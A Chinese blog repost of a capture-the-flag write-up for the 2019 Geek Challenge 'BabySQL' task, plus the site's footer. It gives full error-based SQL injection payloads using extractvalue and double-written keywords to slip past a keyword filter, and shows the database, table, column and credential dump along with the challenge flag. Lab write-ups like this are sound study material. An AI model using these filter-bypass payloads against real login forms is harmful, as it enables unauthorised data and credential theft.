当前位置:   article > 正文

BabySQL【2019极客大挑战】

BabySQL【2019极客大挑战】

知识点:

  • 功能分析
    • 登录界面一般是 where username ='' and password = ''
    • 可以从username出手,注释掉and语句
  • 单引号闭合绕过
    • 通过测试和报错信息发现是一个单引号读取输入
    • 可以单引号闭合绕过
  • 关键字过滤
    • or and 过滤
      • || &&替换
      • 双写绕过
    • select from where mid substr substring 等关键字进行过滤了
      • 双写绕过
  • 报错注入
    • 登录成功界面没有有价值的回显信息,无法进行联合注入
    • 由于测试中发现有完整的报错信息,可以进行错误注入
    • 报错函数
      • exp(710)
      • extractvalue()
      • updatexml()
    • 报错函数最多展现32位数据
  • 既然能报错注入了,盲注肯定也是可以的
    • 布尔盲注
      • 根据页面是否成功登录判断信息
    • 时间盲注
      • 根据数据是否超时进行爆破数据
    • 不建议用这种方法,作者太狗了,数据太长了,爆破的话可能会出现很多的429数据包,影响识别结果,好像有一道类似的sql注入,也是该作者出的,只能盲注判断,数据包中出现太多的429数据包导致最后的出的信息总是残缺的,只能10字符左右为单位进行爆破才不会出现429,但是总长度213,而且前面表名、字段名都得这么做才行,太狗了,真是畜生啊,不细说了,都是泪呀

开始解题吧

查看界面是一个登录框

通过bp抓包进行测试

先判断注入类型

构造payload:username=3'+or+1=1--+

发现返回了完整的错误提示,一开始没明白是什么意思,更换payload测了几次后才发觉or应该被过滤了,尝试了or 'a'='a'--+  or '1'='1' --+;

找绕过手段

通过报错提示发现这里or被过滤了,直接用||替换发现成功绕过;当然这里也是可以利用双写绕过的,做的时候没想到双写绕过,但是在后面information处老是过不去才发觉中间有个or,双写成功绕过了,不细说了,后面见

既然能成功注入了,又获得了完整的错误提示

获取数据库

获取数据库名;构造payload:username=3'+||+extractvalue(1,concat(0x7e,database(),0x7e))=1--+

成功获取到了数据库名为geek

好了,接下来就获取数据库中的所有表名吧

构造payload:username=3'+||+extractvalue(1,concat(0x7e,(seselectlect+group_concat(table_name)+frfromom+infoorrmation_schema.tables+whewherere+table_schema='geek'),0x7e))=1--+

这个过程中用到了很多的双写绕过;成功获取到了表名:b4bsql 和 geekuser

geekuser感觉很正常,应该是一个用户数据库,b4bsql这个数据库看着很可疑,flag应该就在这里了,先搞这个数据库

查看这个表中有哪些字段

构造payload:username=3'+||+extractvalue(1,concat(0x7e,(seselectlect+group_concat(column_name)+frfromom+infoorrmation_schema.columns+whewherere+table_name='b4bsql'),0x7e))=1--+

成功出了字段信息,只有三个字段id、username、password

尝试获取一下用户名和密码信息

构造payload:username=3'+||+extractvalue(1,concat(0x7e,mimidd((seselectlect+group_concat(username,':',passwoorrd)+frfromom+b4bsql)+,181,30),0x7e))=1--+

成功看到了flag的影子;指出来一部分,还有一部分没出来

继续构造payload:username=3'+||+extractvalue(1,concat(0x7e,mimidd((seselectlect+group_concat(username,':',passwoorrd)+frfromom+b4bsql)+,211,30),0x7e))=1--+

好了,后面的部分也全部出来了

拼接起来是:flag{1272f1b5-2209-42c5-9d9f-c490ef6e05ec}

可能每次出现的flag都不一样,所以不要直接用我这个flag,掌握思路最重要

由于报错函数只能显示32位,所以我这里利用了截取函数(双写绕过),利用开头结尾两个~符号进行判断,中间30位为读取的数据,这里发现数据不完全是因为没用截取函数时后面的~没出现,所以采用截取函数看一下;实际数据两百多位,作者是真的狗,flag还放在最后面

按理说到这里就结束了

但是,处于好奇心,我还是看了一下geekuser中的数据,字段同样为id username password;但是数据只有一条,就是成功登录时的admin用户和密码

好了,到这里就真的结束了

虽然过程坎坷曲折,但是结果还是做出来了,flag自己找的

就是要硬气一回,轻轻松松拿捏作者~~~

就这,我还没发力呢~~~~~~

10

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小蓝xlanll/article/detail/335381
推荐阅读
  

闽ICP备14008679号